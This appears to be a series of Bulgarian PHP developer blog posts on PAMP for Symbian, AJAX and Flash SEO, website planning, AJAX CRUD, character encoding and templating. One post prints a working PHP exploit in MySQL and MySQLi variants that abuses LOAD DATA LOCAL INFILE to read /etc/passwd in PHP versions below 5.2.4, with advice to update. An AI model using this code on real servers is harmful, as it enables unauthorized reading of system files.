Apache PHP MySQL for Symbian - PAMP

Днес излезе PAMP за Symbian. PAMP = XAMPP за Symbian. Първата версия идва с PHP 5.2.2, Apache 2.2.4 и MySQL 5.0.37. На страницата за Download изберете дали искате мобилното сървър приложение да се инсталира в C или E (респективно на телефона или на картата). DocumentRoot по default е %(устройство):/data/apache/htdocs. Ето и default PHPinfo():

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
  print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
    print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.

Flash, AJAX и SEO на едно място?

Сигурен съм, че този въпрос тормози много хора и реших да споделя една идея и малко опит. За голяма част от уебмастърите е трудно да вкарат думите AJAX, Flash & SEO в едно изречение. Проблемът в случая е, че ботовете няма как да прочетат съдържанието на Flash-а или AJAX-а. ГРЕШНО! Благодарение на дразнещия Internet Explorer, където потребителя трябва да кликне, за да активира флаша, много хора се обърнаха към една отдавна позната техника - заредждането на Flash елементи с JavaScript. Не случайно, обаче, HTML поддържа освен SCRIPT и NOSCRIPT тага. С помощтта на малко PHP и XML и познаването на MVC, се стига до следното решение: Rieke-Hella Volleyball

Как се индексира AJAX съдържанието?
Лесно. Обикновено се ползва хипервръзка за тази цел. Имаме <a href="pages/page.html" onclick="javascript:ajaxCall('page.php', 'targetDivContainer');" title="Динамично описание, съдържащо ключови думи">Описателен текст на връзката</a>. Така бота ще индексира линк, към някоя страница, а при натискане ще се извика AJAX-a. Остава само да направим такъв фреймуърк, който да зарежда вярното съдържание вътре, след като човек попадне на тази страница от търсачката.

Как да покажем цялата страница на търсачка, а не само съдържанието на AJAX елемента?
Тук е малко по-пипкаво. Най-оптимирано е, когато съдържанията на отделните елементи се намират в директория, която е скрита за достъп от търсачките. Един .htaccess също би могъл да се окаже от помощ. С помощтта на mod_rewrite пращаме всички тези линкове в един файл, който инклудира последователно хедъра, динамичното съдържание и футъра. Хедъра представлява всичкия HTML преди динамичното съдържание (до отварящия DIV). След това влиза HTML кода, който би се върнал от AJAX RPC-то. След това се затваря DIV-а и се добавя всичко останало. Ето, показахме си 'скритата' навигация :)

Как да индексирам съдържанието на флаша?
Съдържанието на Flash-а се извежда във външни XML файлове. В тези XML файлове записвате всяка дума, която се появява на всеки отделен фрейм. Връзките към други фреймове ги описвате като хиперлинкове. Всеки хиперлинк ще предава нужните параметри на PHP файлче, което ще зарежда текстово фрейма и ще го представи под формата на HTML код, който ще бъде описан в NOSCRIPT-а след зареждането на флаша (май забравихте, че с JavaScript го викате :П).

Това е всичко. Няма защо да се лишавате от подвижност, красота и функционалност. Ако знаете как да го направите правилно, няма да попречите на своята SEO кампания.

Ре: Максимални печалби от Мрежата

Тази статия е отговор на Максимални печалби от Мрежата на г-н Аполостов. Реших, че имам какво да допълня:

 

Няма как да не кликне човек на подобно заглавие. Без значение дали сте в бизнеса или не, на вас винаги ще е интересно как се прави качествена бизнес линия в Интернет. И само това стига, за да изкажа своите адмирации към г-н Апостолов, който определено има опит и знае как да привлече интерес към себе си. С прочитането на статията, обаче, разбрах, че заглавието не отговаря на написаното вътре. Не обичам това като се случва, защото не съответства на моите очаквания. Оказа се, че предполагаемият наръчник по бизнес се оказа наръчник по маркетинг, PR и реклама. Пак интересно.. но това е друга индустрия. Затова реших да допълня статийката от гледната точка на интернет бизнеса. И така се стига до:

Как да направим сайта си сполучлив?

 

Като разработчик на уебстраници често се свързвам с хора, които започват своя нов онлайн бизнес. И те логично, започват от изработката на сайта. Виждал съм хиляди сайтове, които тръгват що-годе успешно, събират много потребители, и после претърпяват няколкомесечен застой, за да си реконструират сайта. Тогава се викат консултанти на помощ, които оптимират сайта и изискват хиляди корекции от програмистите (а често и чисто нови модули). От опит знам, че е много по-ефективно, ако още преди да се зададат спецификациите на програмиста, се помисли много. Най-добре се мисли, когато идеята вече е изяснена и бизнес-моделът е готов, в компанията на консултанта и програмиста. Аз (като програмист или консултант, или и двете) винаги задавам следните въпроси:

1. Обяснете на какво ще разчитате. Откъде ще идват парите в сметката? Може да е от регистрация на потребители, може да е от импресии, от кликове по рекламните банери, от продажби на стоки, от телефонно обаждане във фирмата и т.н. Това е нещо, което и програмистът, и СЕО експертът трябва да знаят, преди да започнат своята работа. Така те ще структурират сайта по най-добрия начин за стимулиране на желания резултат. На консултанта моментално ще му дойдат идеи за непланирани функционалности, които ще спомагат регистрациите или продажбите.
2. Към коя аудитория се целите? Дизайнът много зависи от аудиторията.
3. Кои са ключовите думи на вашия бизнес? Това идва интуитивно след предния въпрос. Ако за СЕО се поговори още преди изработката на сайта, всичко после ще върви много по-гладко. Трябва да се набележат най-важните думи. Колко са те? Има ли достатъчна разнообразност на релативните думи, за да се изгради hallway/doorway структура? Животът е по-хубав, когато това стане ясно още преди да тръгне сайта :)
4. Кое прави сайта Ви уникален във вашата ниша? Или с други думи: "Около какво да ориентирам сайта? Какво да сложа в средата с ярък цвят? В коя таблица да слагам top_offer флаг? И т.н.
5. Има ли офлайн фирма, чиято работа подпомагаме? Да й направим онлайн форма за поръчки тогава.
6. Ще има ли афилиейт? Ако да - да изградим и профил скриптове.
7. Ако целите масовата аудитория, да внедрим някаква функционалност за комуникация между потребителите. По този начин те ще се връщат, за да си говорят. И през цялото време ще стават само повече!

Мисля, че в общи линии разбрахте какво имам предвид. За ефективността на сайта трябва да се поговори и много да се помисли, преди да започне самата изработка, а не да се чудят всевъзможни начини да се подобрява статистиката след това. Лошото е, че повечето програмисти не мислят за SEO и маркетинг, докато пишат. Това прави другите толкова по-скъпи :) Затова, ако стартирате нов бизнес проект, първо се съберете с разработчиците и консултанта, поговорете за проекта, вижте техния поглед и го обмислете. Дайте им да разберат на какво разчита сайта ви и планът за развитие, за да могат те да го направят най-ефективен. Това е ключът към успешен проект. От там насетне е статията на г-н Апостолов.

Creating an AJAX2PHP Environment

"Как да създадем AJAX2PHP работна среда." Голямо заглавие, а? ;) Тия дни се занимавах точно с това на работа. Реших да имплементирам по най-модерния начин алгоритъма за CRUD на едно типично отношение "много към много". Едностраничен панел със селектбоксове и мениджмънт, опростен до стандартните 2 клика за всяка акция. И благодарение на AJAX-а всичко се опреснява на секундата, без да презарежда страницата. Намерих много добро примерно решение на проблема, само трябваше да се добавят няколко скриващи се формуляра за редакция и да се направи всичко с AJAX.
Всичко беше ясно как трябва да се направи. Съвсем стандартен MVC, който трябва да подсигури една среда за Remote Procedure Calls. Планирах да го направя като standalone, затова всичките функции за CRUD-а се написаха в един бащин клас, през цялата логика се викаше Object Factory и от там $$name->method() присъстваше във всяка RPC функция. Просто и лесно, а резултата е прекрасен.
Логиката беше следната:

1. Базата данни съдържа три таблици - "потребители", "услуги" и "потребители/услуги". Останалото е ясно ;)
2. Пише се един бащин клас с основните функции за интерфейса (Create, Read, Update, Delete) по универсален начин за първите две таблици;
3. Синовете на класа съдържат името на таблицата и полетата от тази таблица в един масив, чрез който се генерират MySQL заявките;
4. Създава се gateway файла за RPC-тата, където се викат класовите функции на съответните обекти;
5. JavaScript/AJAX имплементацията на съответните заявки, като резултата след това се изобразява в съответния панел, а списъкът се опреснява;
6. Имплементация на интерфейса за връзките с 2 мултиселектбокса;
7. Документация :)

На пръв поглед лесна работа, но в нея се съдържат много фундаментални проблеми около MVC, RPC, DHTML (тия табове с ObjectFactory бяха много интересни..) и като цяло стил на писане в OOP.
Само един проблем обаче ми остана нерешен и неясен. В точка 5 през цялото време трябваше да се опреснява една част от страницата, базирана на резултата от друга, заради AJAX заявките. Всичко беше написано модуларно в PHP логиката и трябваше да се предават параметри, които се връщат от другата страница. PHP-то за листинга и за формулярите винаги трябваше да знае дали става въпрос за потребителите или за услугите. Реших проблема с глобални JavaScript променливи, но със сигурност има по-добри решения. Мисля, че JSON би се включил добре в ситуацията, но още не съм работил с него и дори не знам откъде да чета. Някой ако има предложения да пише в коментарите.

Encoding Problem?

Отново намерих време да драсна. Чудех се за какво, но тъй като тази седмица нямаше нищо интересно в web пространството, реших да споделя малко опит в решаването на най-дразнещия неамерикански проблем - кодирането на информацията. По времето на HTML4, това не беше никакъв проблем. Просто сменяш кодирането в <meta> тага, сменяш файла и това е. После обаче PHP стана толкова масово явление, че изведнъж всеки започна да разхвърля информация по всякакви $_POST-ове и $_GET-ове и тази информация не винаги се показваше в правилният формат накрая. А когато към всичко това добавим charset & collation на MySQL сървъра, таблицата и текущата база данни, плюс AJAX и сървър настройките, картинката става вече наистина потресаваща.
При всички случаи ни трябва стандарт. Трябва ни нещо, в което да можем да си сейвнем файловете, и после да го нагласим във всички останали хедъри и настройки. UTF-8 би бил перфектният вариянт, но за съжаление PHP и UTF-8 не работят пълноценно. Проблемът идва от хедъра на файловете, които са сейвнати в UTF-8 енкодинг. Там, в самото начало, изскачат няколко байта повече, които PHP интерпретира като output и затова не ползволява да се пращат никакви хедъри (вкл. сесии). Отвратително. Това, обаче, ще се промени с излизането на PHP6, и аз ще съм един от най-щастливите хора на земята.
До тогава мисля да процедирам по следният начин.

1. Избира се един алтернативен енкодинг (например cp-1251 за кирилица, ISO-8859-1 за латиница и т..н);
   
2. В този енкодинг се записват файловете и информацията;
3. Същият енкодинг се изпраща и от сървъра.
4. Същият енкодинг се пише в <meta> тага (ДА НЕ СЕ ЗАБРАВЯ!)
   

По този начин сме сигурни, че всичко ще се показва правилно и ще достига правилно до браузъра, а пък FireFox няма да се прави на умен и да пренаписва хедърите. (Не знам защо "Лисицата" не харесва UTF хедъри... но такъв е животът.) Сега остава да решим проблема със записването и транспортирането на информацията. Ако пишем добър код, следвайки препоръките за MVC (за които постнах тук), би трябвало за тази част от сайта да се грижат други скриптове. Затова предприемаме следните стъпки:

1. В началото на всеки файл пренаписваме хедъра на сървъра на UTF-8, а където играе MySQL - "set names utf-8";
2. default charset, енкодинг и колация на MySQL се настройват за UTF-8;
3. Ако на фронтенда ползваме AJAX, енкодираме всичките променливи в UTF-8 & URL encoding. За целта препоръчвам WebToolKit. Ако не - при филтрирането на $_REQUEST-а използваме utf8_encode();
4. Съответно, при извеждане на информацията, използваме utf8_decode() или iconv(), така че да имаме данните готови за показване в другия енкодинг.

Надявам се да съм помогнал и да съм спестил мъки на много хора.

Many To Many с AJAX

Ето този линк, на който попаднах из BGDev, показва как трябва да изглежда един контролен панел за управление на Many To Many. Към това бих добавил просто RPC-та, за add, edit & delete с AJAX и всичко ще заспи. Тъкмо другата седмица трябваше да правя едно мини-CMS-че за hvsedunko.de. Сега ще имам към какво да се стремя.

PHP Templating Engines? Аре без!

Отново ми зададоха въпроса "Ползваш ли Smarty?" Еми НЕ! Знам, че можел да кешира. Знам, че разделял логиката от визуализацията. Знам, че бил най-якото нещо. Но за човек като мен, който от години не прави лейаути, а работи в екип с дизайнери, това би се оказало огромна пречка за работата ми. Тъкмо колегата Пешо Илиев се научи да разпознава PHP таговете и командите, и сега ако му сложа Smarty дали няма да гледа като тръба? Ще! :) От друга страна, за чий кеф да товаря сървъра да зарежда веднъж целият engine с всичките му конфигурационни файлове и т.н., веднъж темплейтите, веднъж логиката на сайта, веднъж да драсне по файловата система за да кешира, и чак тогава да извади резултата от страницата. Ами ако сайтът е наистина голям и се радва на три-четирицифрено число онлайн потребители, дали това няма да е пътят към Голгота на бедното сървърче. Нека не забравяме, че на този сървър не лежат само Apache-то и MySQL-а, а и на него има накичени хиляди сайтове.
Изобщо, с какво би ми помогнал един templating engine? Щял да ми раздели логиката от визуализацията. Че аз мога и сам, посредством разделяне на output-а на елементи и тяхното include(иране). Работата е изключително проста и нямам нужда от огромен енджин, за да го свърши вместо мен.

1. Правя си един файл с темплейта на лейаута.
2. Слагам вътре div-овете и всеки един динамичен елемент от тях се изтрива.
3. Пише се CSS-а.
4. Подлага се отдолу един PHP файл, който хвърля необходимата тежка заявка към MySQL-а, пресмята всичко, if else, if else, foreach, switch и т.н., докато всичко не се набута по необходимите променливи, които да държат съдържанието.
5. Темплейтите на отделните динамични елементи генерират оптимизираният аутпут, посредством <?=$page->title?> например и т.н. и т.н.
6. include_once 'footer.php';

И до там. Защо ми е Smarty? Заради кеша? PHP си има output buffering, който отлично върши същата работа. Още повече, ако не подлагам мегабайтовия templating engine, няма да ми се налага да кеширам толкова много.

И за да подплътя твърденията си още повече, бих ви препоръчал да прочетете тази статия, защото човекът го е обяснил повече от перфектно. Аз само изложих основните моменти на български език. Разделянето на output-а от логиката не е нещо, което се изисква само, за да може да се интегрира даден templating engine. Елементарната хигиена на кода го изисква.